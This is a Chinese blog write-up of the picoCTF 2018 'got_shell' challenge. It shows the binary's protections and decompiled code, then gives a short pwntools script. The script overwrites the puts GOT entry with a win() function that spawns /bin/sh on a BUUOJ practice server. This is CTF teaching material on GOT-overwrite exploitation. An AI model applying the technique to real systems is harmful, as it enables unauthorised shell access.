当前位置: 首页 > news >正文

picoctf_2018_got_shell

picoctf_2018_got_shell

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位,只开了NX

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{_DWORD *v3; // [esp+14h] [ebp-114h]int v4; // [esp+18h] [ebp-110h]char s; // [esp+1Ch] [ebp-10Ch]unsigned int v6; // [esp+11Ch] [ebp-Ch]v6 = __readgsdword(0x14u);setvbuf(_bss_start, 0, 2, 0);puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");__isoc99_scanf("%x", &v3);sprintf(&s, "Okay, now what value would you like to write to 0x%x", v3);puts(&s);__isoc99_scanf("%x", &v4);sprintf(&s, "Okay, writing 0x%x to 0x%x", v4, v3);puts(&s);*v3 = v4;puts("Okay, exiting now...\n");exit(1);
}
int win()
{return system("/bin/sh");
}

有后门函数,并且主函数,是更改地址的程序

思路

最后有使用puts,(或者改exit都可以),更改puts@got–>win函数即可

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29972,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')sla(b'byte value?',hex(elf.got['puts']))
sla(b'like to write to',b'0x804854B')ia()

在这里插入图片描述

http://www.lryc.cn/news/178785.html

相关文章:

  • 作用域 CSS 回来了
  • 简述ceph文件储存系统
  • 计算机图像处理:椒盐噪声和高斯噪声
  • SQL SELECT 子查询与正则表达式
  • Package vips was not found in the pkg-config search path的解决方案
  • Vue封装全局SVG组件
  • 课题学习(二)----倾角和方位角的动态测量方法(基于磁场的测量系统)
  • Docker-Windows安装使用
  • 在Windows11上安装ubuntu虚拟机
  • 【微服务】spring 控制bean加载顺序使用详解
  • python-切换镜像源和使用PyCharm进行第三方开源包安装
  • tp6 + swagger 配置文档接口
  • 试图一文彻底讲清 “精准测试”
  • Visual Studio 删除行尾空格
  • LeetCode_BFS_中等_1926.迷宫中离入口最近的出口
  • 开源Windows12网页版HTML源码
  • vscode中使用指定路径下的cmake
  • 复杂度分析
  • Linux安装jrockit-jdk1.6.0_29-R28.2.0-4.1.0-linux-x64
  • 7.2 怎样定义函数
  • Chrome扩展V2到V3的变化
  • lock、tryLock、lockInterruptibly有什么区别?
  • mysql面试题5:索引、主键、唯一索引、联合索引的区别?什么情况下设置了索引但无法使用?并且举例说明
  • 数据集笔记:纽约花旗共享单车od数据
  • 为什么 0.1+0.2 不等于 0.3
  • huggingface_hub v0.17 现已发布
  • 机器学习——一元线性回归构造直线,并给出损失函数
  • OpenHarmony自定义组件介绍
  • 云原生之使用Docker部署PDF多功能工具Stirling-PDF
  • B树和B+树的介绍和对比,以及MySQL为何选择B+树